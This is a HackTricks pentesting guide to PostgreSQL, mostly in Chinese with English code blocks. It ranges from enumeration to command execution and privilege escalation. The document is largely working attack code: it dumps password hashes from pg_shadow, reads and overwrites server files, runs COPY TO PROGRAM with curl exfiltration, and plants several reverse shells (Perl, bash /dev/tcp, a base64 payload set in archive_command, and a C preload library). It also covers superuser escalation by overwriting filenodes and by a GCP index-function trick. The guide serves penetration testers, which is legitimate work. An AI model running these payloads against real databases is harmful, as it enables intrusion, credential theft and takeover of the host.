hacktricks/network-services-pentesting/pentesting-postgresql.md

790 lines
37 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5432,5433 - Pentesting Postgresql
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}
## **基本信息**
**PostgreSQL** 被描述为一个 **对象关系数据库系统**,是 **开源** 的。该系统不仅使用 SQL 语言,还通过额外的功能增强了它。它的能力使其能够处理各种数据类型和操作,成为开发人员和组织的多功能选择。
**默认端口:** 5432如果此端口已被使用似乎 PostgreSQL 将使用下一个未使用的端口(可能是 5433
```
PORT STATE SERVICE
5432/tcp open pgsql
```
## 连接与基本枚举
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```
```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
```
{% hint style="warning" %}
如果运行 **`\list`** 你发现一个名为 **`rdsadmin`** 的数据库,你就知道你在一个 **AWS postgresql 数据库** 内部。
{% endhint %}
有关 **如何滥用 PostgreSQL 数据库** 的更多信息,请查看:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## 自动枚举
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#postgresql)
### **端口扫描**
根据[**这项研究**](https://www.exploit-db.com/papers/13084),当连接尝试失败时,`dblink`会抛出一个`sqlclient_unable_to_establish_sqlconnection`异常,其中包含错误的解释。以下列出了这些细节的示例。
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* 主机已关闭
`DETAIL: 无法连接到服务器:没有到主机的路由 服务器是否在主机 "1.2.3.4" 上运行并在端口 5678 上接受 TCP/IP 连接?`
* 端口已关闭
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* 端口是开放的
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
```
DETAIL: FATAL: password authentication failed for user "name"
```
* 端口是开放的或被过滤的
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
在 PL/pgSQL 函数中,目前无法获取异常详细信息。然而,如果您可以直接访问 PostgreSQL 服务器,您可以检索所需的信息。如果从系统表中提取用户名和密码不可行,您可以考虑利用前一节讨论的字典攻击方法,因为它可能会产生积极的结果。
## 权限枚举
### 角色
| 角色类型 | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | 角色具有超级用户权限 |
| rolinherit | 角色自动继承其成员角色的权限 |
| rolcreaterole | 角色可以创建更多角色 |
| rolcreatedb | 角色可以创建数据库 |
| rolcanlogin | 角色可以登录。也就是说,这个角色可以作为初始会话授权标识符 |
| rolreplication | 角色是一个复制角色。复制角色可以启动复制连接并创建和删除复制槽。 |
| rolconnlimit | 对于可以登录的角色,这设置了该角色可以建立的最大并发连接数。-1 表示没有限制。 |
| rolpassword | 不是密码(始终显示为 `********` |
| rolvaliduntil | 密码过期时间(仅用于密码认证);如果没有过期则为 null |
| rolbypassrls | 角色绕过每个行级安全策略,更多信息请参见 [第 5.8 节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)。 |
| rolconfig | 角色特定的运行时配置变量默认值 |
| oid | 角色的 ID |
#### 有趣的组
* 如果您是 **`pg_execute_server_program`** 的成员,您可以 **执行** 程序
* 如果您是 **`pg_read_server_files`** 的成员,您可以 **读取** 文件
* 如果您是 **`pg_write_server_files`** 的成员,您可以 **写入** 文件
{% hint style="info" %}
请注意,在 Postgres 中,**用户**、**组**和**角色**是 **相同** 的。这仅取决于 **您如何使用它** 以及您是否 **允许它登录**
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### 表格
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### 函数
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
```
## 文件系统操作
### 读取目录和文件
来自这个 [**提交** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) 的定义 **`DEFAULT_ROLE_READ_SERVER_FILES`** 组的成员(称为 **`pg_read_server_files`**)和 **超级用户** 可以在任何路径上使用 **`COPY`** 方法(查看 `convert_and_check_filename``genfile.c` 中):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
请记住,如果您不是超级用户但拥有 **CREATEROLE** 权限,您可以 **使自己成为该组的成员:**
```sql
GRANT pg_read_server_files TO username;
```
[**更多信息。**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
**其他 postgres 函数** 可以用来 **读取文件或列出目录**。只有 **超级用户****具有明确权限的用户** 可以使用它们:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
您可以在 [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html) 找到 **更多函数**
### 简单文件写入
只有 **超级用户****`pg_write_server_files`** 的成员可以使用 copy 写入文件。
{% code overflow="wrap" %}
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
请记住,如果您不是超级用户但拥有 **`CREATEROLE`** 权限,您可以 **使自己成为该组的成员:**
```sql
GRANT pg_write_server_files TO username;
```
[**更多信息。**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
请记住COPY无法处理换行符因此即使您使用的是base64有效负载**您需要发送一行代码**。\
此技术的一个非常重要的限制是**`copy`无法用于写入二进制文件,因为它会修改某些二进制值。**
### **二进制文件上传**
然而,还有**其他技术可以上传大二进制文件:**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**漏洞赏金提示****注册** **Intigriti**,一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
### 通过本地文件写入更新PostgreSQL表数据
如果您拥有读取和写入PostgreSQL服务器文件的必要权限您可以通过**覆盖关联的文件节点**来更新服务器上的任何表,在[PostgreSQL数据目录](https://www.postgresql.org/docs/8.1/storage.html)中。**有关此技术的更多信息** [**在这里**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。
所需步骤:
1. 获取PostgreSQL数据目录
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**注意:**如果您无法从设置中检索当前数据目录路径,可以通过`SELECT version()`查询获取主要PostgreSQL版本并尝试暴力破解路径。在Unix安装的PostgreSQL中常见的数据目录路径是`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`。一个常见的集群名称是`main`。
2. 获取与目标表关联的文件节点的相对路径
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
此查询应返回类似`base/3/1337`的内容。磁盘上的完整路径将是`$DATA_DIRECTORY/base/3/1337`,即`/var/lib/postgresql/13/main/base/3/1337`。
3. 通过`lo_*`函数下载文件节点
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. 获取与目标表关联的数据类型
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. 使用[PostgreSQL文件节点编辑器](https://github.com/adeadfed/postgresql-filenode-editor)来[编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users);将所有`rol*`布尔标志设置为1以获得完全权限。
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL文件节点编辑器演示](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
6. 通过`lo_*`函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
7. _(可选)_ 通过运行一个昂贵的SQL查询来清除内存中的表缓存
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
8. 现在您应该在PostgreSQL中看到更新的表值。
您还可以通过编辑`pg_authid`表成为超级管理员。**请参见** [**以下部分**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
## RCE
### **RCE到程序**
自[版本9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以来,只有**超级用户**和**`pg_execute_server_program`**组的成员可以使用copy进行RCE带有外泄的示例
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
示例执行:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
请记住,如果您不是超级用户但拥有 **`CREATEROLE`** 权限,您可以 **使自己成为该组的成员:**
```sql
GRANT pg_execute_server_program TO username;
```
[**更多信息。**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
或者使用 **metasploit**`multi/postgres/postgres_copy_from_program_cmd_exec` 模块。\
关于此漏洞的更多信息 [**在这里**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)。虽然被报告为 CVE-2019-9193Postges 宣称这是一个 [特性并且不会修复](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)。
### 使用 PostgreSQL 语言的 RCE
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
### 使用 PostgreSQL 扩展的 RCE
一旦你 **学习** 了之前的帖子 **如何上传二进制文件**,你可以尝试通过 **上传 PostgreSQL 扩展并加载它** 来获得 **RCE**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
### PostgreSQL 配置文件 RCE
{% hint style="info" %}
以下 RCE 向量在受限 SQLi 上下文中特别有用,因为所有步骤都可以通过嵌套的 SELECT 语句执行
{% endhint %}
PostgreSQL 的 **配置文件****可写的**,由 **postgres 用户** 拥有,该用户运行数据库,因此作为 **超级用户**,你可以在文件系统中写入文件,因此你可以 **覆盖此文件。**
![](<../.gitbook/assets/image (322).png>)
#### **使用 ssl\_passphrase\_command 的 RCE**
关于此技术的更多信息 [在这里](https://pulsesecurity.co.nz/articles/postgres-sqli)。
配置文件中有一些有趣的属性可以导致 RCE
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 数据库私钥的路径
* `ssl_passphrase_command = ''` 如果私钥文件受到密码保护加密PostgreSQL 将 **执行此属性中指示的命令**
* `ssl_passphrase_command_supports_reload = off` **如果** 此属性为 **on**,则 **如果** 密钥受到密码保护,**将执行** 在 `pg_reload_conf()`**执行** 时执行的 **命令**
然后,攻击者需要:
1. **从服务器转储私钥**
2. **加密** 下载的私钥:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **覆盖**
4. **转储** 当前的 PostgreSQL **配置**
5. **用提到的属性配置覆盖** **配置**
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. 执行 `pg_reload_conf()`
在测试时,我注意到这仅在 **私钥文件权限为 640** 时有效,且 **由 root 拥有**,并且由 **ssl-cert 或 postgres 组** 拥有(因此 postgres 用户可以读取),并放置在 _/var/lib/postgresql/12/main_ 中。
#### **使用 archive\_command 的 RCE**
**更多** [**关于此配置和 WAL 的信息在这里**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**。**
配置文件中另一个可利用的属性是 `archive_command`
为了使其工作,`archive_mode` 设置必须为 `'on'``'always'`。如果为真,则我们可以覆盖 `archive_command` 中的命令,并通过 WAL预写日志操作强制执行它。
一般步骤是:
1. 检查归档模式是否启用:`SELECT current_setting('archive_mode')`
2. 用有效负载覆盖 `archive_command`。例如,一个反向 shell`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. 重新加载配置:`SELECT pg_reload_conf()`
4. 强制 WAL 操作运行,这将调用归档命令:`SELECT pg_switch_wal()` 或 `SELECT pg_switch_xlog()` 对于某些 PostgreSQL 版本
#### **使用预加载库的 RCE**
关于此技术的更多信息 [在这里](https://adeadfed.com/posts/postgresql-select-only-rce/)。
此攻击向量利用以下配置变量:
* `session_preload_libraries` -- PostgreSQL 服务器在客户端连接时将加载的库。
* `dynamic_library_path` -- PostgreSQL 服务器将搜索库的目录列表。
我们可以将 `dynamic_library_path` 值设置为一个由运行数据库的 `postgres` 用户可写的目录,例如 `/tmp/` 目录,并在其中上传一个恶意的 `.so` 对象。接下来,我们将通过将其包含在 `session_preload_libraries` 变量中,强制 PostgreSQL 服务器加载我们新上传的库。
攻击步骤是:
1. 下载原始 `postgresql.conf`
2.`dynamic_library_path` 值中包含 `/tmp/` 目录,例如 `dynamic_library_path = '/tmp:$libdir'`
3.`session_preload_libraries` 值中包含恶意库名称,例如 `session_preload_libraries = 'payload.so'`
4. 通过 `SELECT version()` 查询检查主要 PostgreSQL 版本
5. 使用正确的 PostgreSQL 开发包编译恶意库代码 示例代码:
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
编译代码:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. 上传在步骤 2-3 中创建的恶意 `postgresql.conf`,并覆盖原始文件
7. 将步骤 5 中的 `payload.so` 上传到 `/tmp` 目录
8. 通过重启服务器或调用 `SELECT pg_reload_conf()` 查询重新加载服务器配置
9. 在下一个数据库连接时,你将收到反向 shell 连接。
## **Postgres 权限提升**
### CREATEROLE 权限提升
#### **授予**
根据 [**文档**](https://www.postgresql.org/docs/13/sql-grant.html)_拥有 **`CREATEROLE`** 权限的角色可以 **授予或撤销对任何角色的成员资格**,该角色 **不是** **超级用户**。_
因此,如果你拥有 **`CREATEROLE`** 权限,你可以授予自己对其他 **角色**(不是超级用户)的访问权限,这可以让你读取和写入文件并执行命令:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### 修改密码
具有此角色的用户还可以**更改**其他**非超级用户**的**密码**
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc to SUPERUSER
很常见的是发现**本地用户可以在 PostgreSQL 中登录而无需提供任何密码**。因此,一旦您获得了**执行代码的权限**,您可以滥用这些权限来授予您**`SUPERUSER`** 角色:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
这通常是因为 **`pg_hba.conf`** 文件中的以下行:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE privesc**
在[**这篇文章**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)中解释了如何在Postgres GCP中利用授予用户的ALTER TABLE权限实现**privesc**。
当你尝试**将另一个用户设为表的所有者**时,应该会收到一个**错误**来阻止它但显然GCP给了**非超级用户postgres用户**这个**选项**
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
将这个想法与**INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)命令在**具有索引函数的表**上执行时,**函数**作为命令的一部分以**表****所有者的权限**被**调用**的事实结合起来。可以创建一个带有函数的索引,并将该表的所有者权限授予**超级用户**然后在该表上运行ANALYZE使用恶意函数执行命令因为它使用的是所有者的权限。
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### 利用
1. 首先创建一个新表。
2. 向表中插入一些无关内容,以提供索引函数的数据。
3. 开发一个包含代码执行有效负载的恶意索引函数,允许执行未经授权的命令。
4. 将表的所有者更改为“cloudsqladmin”这是GCP的超级用户角色仅用于Cloud SQL管理和维护数据库。
5. 对表执行ANALYZE操作。此操作迫使PostgreSQL引擎切换到表所有者“cloudsqladmin”的用户上下文。因此恶意索引函数以“cloudsqladmin”的权限被调用从而使之前未经授权的shell命令得以执行。
在PostgreSQL中这个流程看起来像这样
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
然后,`shell_commands_results` 表将包含执行代码的输出:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### 本地登录
一些配置错误的 postgresql 实例可能允许任何本地用户登录,可以使用 **`dblink` function** 从 127.0.0.1 本地登录:
```sql
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
请注意,之前的查询要正常工作**需要存在函数 `dblink`**。如果不存在,您可以尝试使用以下命令创建它。
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
如果您拥有具有更高权限的用户的密码,但该用户不允许从外部 IP 登录,您可以使用以下函数以该用户的身份执行查询:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
可以通过以下方式检查此函数是否存在:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **自定义定义的函数与** SECURITY DEFINER
[**在这篇文章中**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)渗透测试人员能够在IBM提供的postgres实例中进行权限提升因为他们**发现了这个带有SECURITY DEFINER标志的函数**
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
<strong> VOLATILE SECURITY DEFINER
</strong> PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
</code></pre>
正如[**文档中所解释的**](https://www.postgresql.org/docs/current/sql-createfunction.html),带有**SECURITY DEFINER的函数是以** **拥有者的权限** **执行的**。因此,如果该函数**易受SQL注入攻击**或正在执行一些**由攻击者控制的参数的特权操作**,则可能被滥用以**在postgres中提升权限**。
在前面代码的第4行中可以看到该函数具有**SECURITY DEFINER**标志。
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
然后**执行命令**
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
### 使用 PL/pgSQL 进行密码暴力破解
**PL/pgSQL** 是一种**功能齐全的编程语言**,相比 SQL 提供了更强的过程控制。它支持使用**循环**和其他**控制结构**来增强程序逻辑。此外,**SQL 语句**和**触发器**能够调用使用**PL/pgSQL 语言**创建的函数。这种集成使得数据库编程和自动化的方法更加全面和灵活。\
**您可以利用这种语言请求 PostgreSQL 进行用户凭据的暴力破解。**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}
### 通过覆盖内部 PostgreSQL 表进行权限提升
{% hint style="info" %}
以下权限提升向量在受限的 SQLi 环境中特别有用,因为所有步骤都可以通过嵌套的 SELECT 语句执行
{% endhint %}
如果您可以**读取和写入 PostgreSQL 服务器文件**,您可以通过覆盖与内部 `pg_authid` 表相关联的 PostgreSQL 磁盘文件节点来**成为超级用户**。
有关**此技术**的更多信息,请[**点击这里**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**。**
攻击步骤如下:
1. 获取 PostgreSQL 数据目录
2. 获取与 `pg_authid` 表相关联的文件节点的相对路径
3. 通过 `lo_*` 函数下载文件节点
4. 获取与 `pg_authid` 表相关联的数据类型
5. 使用 [PostgreSQL 文件节点编辑器](https://github.com/adeadfed/postgresql-filenode-editor) [编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table);将所有 `rol*` 布尔标志设置为 1 以获得完全权限。
6. 通过 `lo_*` 函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
7. _(可选)_ 通过运行一个昂贵的 SQL 查询清除内存中的表缓存
8. 现在您应该拥有完整超级管理员的权限。
## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### logging
_**postgresql.conf**_ 文件中,您可以通过更改以下内容来启用 postgresql 日志:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
然后,**重启服务**。
### pgadmin
[pgadmin](https://www.pgadmin.org) 是一个用于 PostgreSQL 的管理和开发平台。\
